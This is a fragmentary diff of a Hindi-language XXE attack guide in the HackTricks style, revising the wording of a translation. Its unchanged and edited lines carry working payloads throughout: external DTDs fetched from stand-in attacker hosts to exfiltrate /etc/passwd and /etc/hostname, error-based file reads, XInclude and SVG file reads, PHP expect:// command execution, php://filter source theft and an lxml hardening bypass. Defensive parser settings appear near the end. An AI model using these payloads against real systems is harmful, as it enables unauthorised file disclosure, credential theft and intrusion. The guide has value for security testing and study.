यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर निकालने का कारण बनता है।
|
||||
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर एक्सफिल्ट्रेट करता है।
|
||||
|
||||
### त्रुटि आधारित (बाहरी DTD)
|
||||
|
||||
@ -129,8 +129,8 @@ The steps executed by this DTD include:
|
||||
|
||||
एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से किया जाता है:
|
||||
|
||||
1. एक XML पैरामीटर एंटिटी `file` नाम से परिभाषित की जाती है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
|
||||
2. एक XML पैरामीटर एंटिटी `eval` नाम से परिभाषित की जाती है, जो `error` नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा को शामिल करती है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
|
||||
1. एक XML पैरामीटर एंटिटी `file` को परिभाषित किया गया है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
|
||||
2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, जिसमें `error` नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा शामिल है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
|
||||
3. `eval` एंटिटी को बुलाया जाता है, जिससे `error` एंटिटी की गतिशील घोषणा होती है।
|
||||
4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास का परिणाम होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है।
|
||||
|
||||
@ -140,11 +140,11 @@ The steps executed by this DTD include:
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री प्रदर्शित करने वाला एक त्रुटि संदेश शामिल होना चाहिए।
|
||||
जब निष्पादन किया जाता है, तो वेब सर्वर की प्रतिक्रिया में `/etc/passwd` फ़ाइल की सामग्री दिखाने वाला एक त्रुटि संदेश शामिल होना चाहिए।
|
||||
|
||||
.png>)
|
||||
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना (आमतौर पर) एक त्रुटि को मजबूर नहीं कर सकते।**_
|
||||
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना त्रुटि को मजबूर नहीं कर सकते (आमतौर पर)।**_
|
||||
|
||||
### **त्रुटि आधारित (सिस्टम DTD)**
|
||||
|
||||
@ -168,7 +168,7 @@ XML भाषा विनिर्देशन में एक छिद्र
|
||||
The outlined steps are executed by this DTD:
|
||||
|
||||
- एक XML पैरामीटर एंटिटी `local_dtd` की परिभाषा सर्वर की फाइल सिस्टम पर स्थित बाहरी DTD फ़ाइल को शामिल करती है।
|
||||
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे मूल रूप से बाहरी DTD में परिभाषित किया गया था, ताकि [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
|
||||
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे मूल रूप से बाहरी DTD में परिभाषित किया गया था, ताकि एक [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
|
||||
- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` शामिल है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है।
|
||||
|
||||
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक एंटिटी होती है।
|
||||
@ -205,7 +205,7 @@ The outlined steps are executed by this DTD:
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम का Docker इमेज** है, तो आप उसी repo के टूल का उपयोग करके **इमेज** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs** के पथ को **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
|
||||
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम का Docker इमेज** है, तो आप उसी repo के टूल का उपयोग करके **इमेज** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs** का पथ **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -219,31 +219,31 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE via Office Open XML Parsers
|
||||
|
||||
इस हमले के बारे में अधिक गहन व्याख्या के लिए, **Detectify के** [**इस अद्भुत पोस्ट**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **के दूसरे सेक्शन की जांच करें**।
|
||||
इस हमले के बारे में अधिक गहन व्याख्या के लिए, **[**इस अद्भुत पोस्ट**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **का दूसरा सेक्शन देखें** **Detectify** से।
|
||||
|
||||
**Microsoft Office दस्तावेज़ अपलोड करने की क्षमता कई वेब अनुप्रयोगों द्वारा प्रदान की जाती है**, जो फिर इन दस्तावेज़ों से कुछ विवरण निकालने की प्रक्रिया में जाती हैं। उदाहरण के लिए, एक वेब अनुप्रयोग उपयोगकर्ताओं को XLSX प्रारूप की स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति दे सकता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को अनिवार्य रूप से कम से कम एक XML फ़ाइल को पार्स करना होगा।
|
||||
|
||||
इस भेद्यता का परीक्षण करने के लिए, एक **XXE पेलोड वाला Microsoft Office फ़ाइल बनाना आवश्यक है**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
|
||||
इस भेद्यता का परीक्षण करने के लिए, एक **Microsoft Office फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
|
||||
|
||||
एक बार जब दस्तावेज़ अनज़िप हो जाता है, तो `./unzipped/word/document.xml` में स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट संपादक (जैसे vim) में संपादित किया जाना चाहिए। XML को इच्छित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, जो अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
|
||||
|
||||
संशोधित XML पंक्तियों को दो रूट XML ऑब्जेक्ट्स के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL से बदलना महत्वपूर्ण है।
|
||||
संशोधित XML पंक्तियों को दो रूट XML ऑब्जेक्ट्स के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL के साथ बदलना महत्वपूर्ण है।
|
||||
|
||||
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाए गए "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
|
||||
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाई गई "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
|
||||
|
||||
अब, बनाई गई फ़ाइल को संभावित रूप से कमजोर वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
|
||||
अब, बनाई गई फ़ाइल को संभावित रूप से संवेदनशील वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइलों तक पहुँचने की अनुमति देने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है।
|
||||
**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइल पहुंच सक्षम करने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है।
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँच प्राप्त करना **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [सिस्टम DTD फ़ाइलों के दुरुपयोग के तरीके के लिए इस अनुभाग की जाँच करें](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँचने में **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [सिस्टम DTD फ़ाइलों के दुरुपयोग के तरीके के लिए इस अनुभाग की जाँच करें](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
|
||||
PKZIP संग्रह के भीतर किसी फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
|
||||
|
||||
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`.
|
||||
2. HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर `/tmp/...` जैसे स्थान पर।
|
||||
@ -251,7 +251,7 @@ PKZIP संग्रह के भीतर एक फ़ाइल तक प
|
||||
4. संग्रह के भीतर विशिष्ट फ़ाइल, `file.zip`, को पढ़ा जाता है।
|
||||
5. ऑपरेशन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
|
||||
|
||||
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना है। इस उद्देश्य के लिए [इस रिपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
|
||||
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। इस उद्देश्य के लिए [इस भंडार](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -310,9 +310,9 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेज़ों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
|
||||
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
|
||||
|
||||
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण है कि इस तरह के हमले को कैसे तैयार किया जा सकता है:
|
||||
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह के हमले को कैसे तैयार किया जा सकता है:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -322,13 +322,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
उपयोगकर्ताओं द्वारा कुछ अनुप्रयोगों में अपलोड की गई फ़ाइलें, जिन्हें फिर सर्वर पर संसाधित किया जाता है, XML या XML-समावेशी फ़ाइल स्वरूपों के प्रबंधन में कमजोरियों का लाभ उठा सकती हैं। सामान्य फ़ाइल स्वरूप जैसे कार्यालय दस्तावेज़ (DOCX) और चित्र (SVG) XML पर आधारित होते हैं।
|
||||
|
||||
जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की छवि प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए शोषित किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
|
||||
जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की चित्र प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
|
||||
|
||||
ऐसे एक शोषण का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
|
||||
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
एक और विधि में PHP "expect" wrapper के माध्यम से **आदेशों को निष्पादित करने** का प्रयास करना शामिल है:
|
||||
एक और विधि में PHP "expect" wrapper के माध्यम से **कमांड्स को निष्पादित करने** का प्रयास करना शामिल है:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -342,7 +342,7 @@ SVG प्रारूप का उपयोग दोनों मामलो
|
||||
|
||||
### **PDF - फ़ाइल अपलोड**
|
||||
|
||||
**एक PDF फ़ाइल अपलोड करते समय XXE का लाभ उठाने के लिए पढ़ें:**
|
||||
**XXE का उपयोग करके PDF फ़ाइल अपलोड करने के तरीके के बारे में जानने के लिए निम्नलिखित पोस्ट पढ़ें:**
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) से ट्रिक\
|
||||
आप एक **entity inside an entity** बना सकते हैं, इसे **html entities** के साथ एन्कोड करके और फिर इसे **dtd लोड** करने के लिए कॉल कर सकते हैं।\
|
||||
आप एक **entity के अंदर एक entity** बना सकते हैं, इसे **html entities** के साथ एन्कोड करके और फिर इसे **dtd लोड** करने के लिए कॉल कर सकते हैं।\
|
||||
ध्यान दें कि उपयोग की गई **HTML Entities** **संख्यात्मक** होनी चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -448,7 +448,7 @@ DTD उदाहरण:
|
||||
|
||||
### Base64
|
||||
|
||||
**Extract** _**index.php**_
|
||||
**निकालें** _**index.php**_
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
@ -476,7 +476,7 @@ DTD उदाहरण:
|
||||
|
||||
यह उदाहरण [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से प्रेरित है।
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जो मुख्य रूप से स्थानीयकरण के दौरान उपकरणों के बीच स्थानीयकरण योग्य डेटा को स्थानांतरित करने और CAT (Computer-Aided Translation) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में उपयोग किया जाता है।
|
||||
XLIFF (XML Localization Interchange File Format) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से स्थानीयकरण के दौरान उपकरणों के बीच स्थानीयकरण योग्य डेटा को स्थानांतरित करने और CAT (Computer-Aided Translation) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में उपयोग किया जाता है।
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -502,7 +502,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
हालांकि त्रुटि है, एक हिट बर्प सहयोगी पर दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
|
||||
|
||||
Out of Band Data Exfiltration डेटा को निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:
|
||||
Out of Band Data Exfiltration डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस Java संस्करण की एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों, जैसे /etc/passwd, को पुनः प्राप्त करने में असमर्थ है।
|
||||
यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस संस्करण के Java के साथ एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों को पुनः प्राप्त करने में असमर्थ है, जैसे कि /etc/passwd।
|
||||
|
||||
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करे जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
|
||||
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करता है जिसमें लक्षित फ़ाइल से डेटा शामिल होता है:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -542,7 +542,7 @@ XXE भेद्यता का लाभ उठाने के लिए RSS
|
||||
|
||||
### Ping back
|
||||
|
||||
हमलावर के सर्वर पर सरल HTTP अनुरोध
|
||||
हमलावर के सर्वर के लिए सरल HTTP अनुरोध
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* undefined entity को फिर से परिभाषित करता है ताकि यह:
|
||||
- लक्षित फ़ाइल को पढ़े (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)।
|
||||
- एक और parameter entity बनाए जो एक **invalid path** को संदर्भित करता है जिसमें `%flag;` मान होता है और एक पार्सर त्रुटि को ट्रिगर करता है (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)।
|
||||
3. अंततः `%local_dtd;` और `%eval;` का विस्तार करें ताकि पार्सर `%error;` का सामना करे, `/aaa/<FLAG>` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए – जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है।
|
||||
3. अंत में `%local_dtd;` और `%eval;` को विस्तारित करें ताकि पार्सर `%error;` का सामना करे, `/aaa/<FLAG>` को खोलने में विफल हो और फेंकी गई अपवाद के अंदर ध्वज लीक हो जाए – जो अक्सर एप्लिकेशन द्वारा उपयोगकर्ता को वापस किया जाता है।
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -709,10 +709,10 @@ https://github.com/luisfontes19/xxexploiter
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> यदि पार्सर आंतरिक उपसमुच्चय के भीतर `%`/`&` वर्णों के बारे में शिकायत करता है, तो उन्हें डबल-कोड करें (`&#x25;` ⇒ `%`) ताकि विस्तार में देरी हो सके।
|
||||
> यदि पार्सर आंतरिक उपसमुच्चय के अंदर `%`/`&` वर्णों के बारे में शिकायत करता है, तो उन्हें डबल-कोड करें (`&#x25;` ⇒ `%`) ताकि विस्तार में देरी हो सके।
|
||||
|
||||
#### 2. lxml 5.4.0 हार्डनिंग को बायपास करना (libxml2 अभी भी संवेदनशील)
|
||||
`lxml` ≥ 5.4.0 *त्रुटि* पैरामीटर संस्थाओं जैसे ऊपर दिए गए को मना करता है, लेकिन **libxml2** अभी भी उन्हें *सामान्य* संस्था में एम्बेड करने की अनुमति देता है। चाल यह है:
|
||||
`lxml` ≥ 5.4.0 *त्रुटि* पैरामीटर संस्थाओं जैसे ऊपर दिए गए को मना करता है, लेकिन **libxml2** अभी भी उन्हें *सामान्य* संस्था में एम्बेड करने की अनुमति देता है। चाल यह है कि:
|
||||
1. फ़ाइल को एक पैरामीटर संस्था `%file` में पढ़ें।
|
||||
2. एक और पैरामीटर संस्था घोषित करें जो एक **सामान्य** संस्था `c` बनाती है जिसका SYSTEM पहचानकर्ता एक *अवास्तविक प्रोटोकॉल* का उपयोग करता है जैसे `meow://%file;`।
|
||||
3. XML शरीर में `&c;` रखें। जब पार्सर `meow://…` को डेरिफरेंस करने की कोशिश करता है, तो यह विफल हो जाता है और त्रुटि संदेश में पूर्ण URI – फ़ाइल सामग्री सहित – को दर्शाता है।
|
||||
@ -727,7 +727,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Key takeaways
|
||||
* **Parameter entities** अभी भी libxml2 द्वारा विस्तारित होते हैं जब `resolve_entities` XXE को ब्लॉक करना चाहिए।
|
||||
* **Parameter entities** अभी भी libxml2 द्वारा विस्तारित होते हैं, भले ही `resolve_entities` XXE को ब्लॉक करना चाहिए।
|
||||
* एक **अमान्य URI** या **गैर-मौजूद फ़ाइल** नियंत्रित डेटा को फेंकी गई अपवाद में जोड़ने के लिए पर्याप्त है।
|
||||
* यह तकनीक **बिना आउटबाउंड कनेक्टिविटी** के काम करती है, जिससे यह सख्त ईग्रेस-फिल्टर्ड वातावरण के लिए आदर्श बनती है।
|
||||
|
||||
@ -763,9 +763,9 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
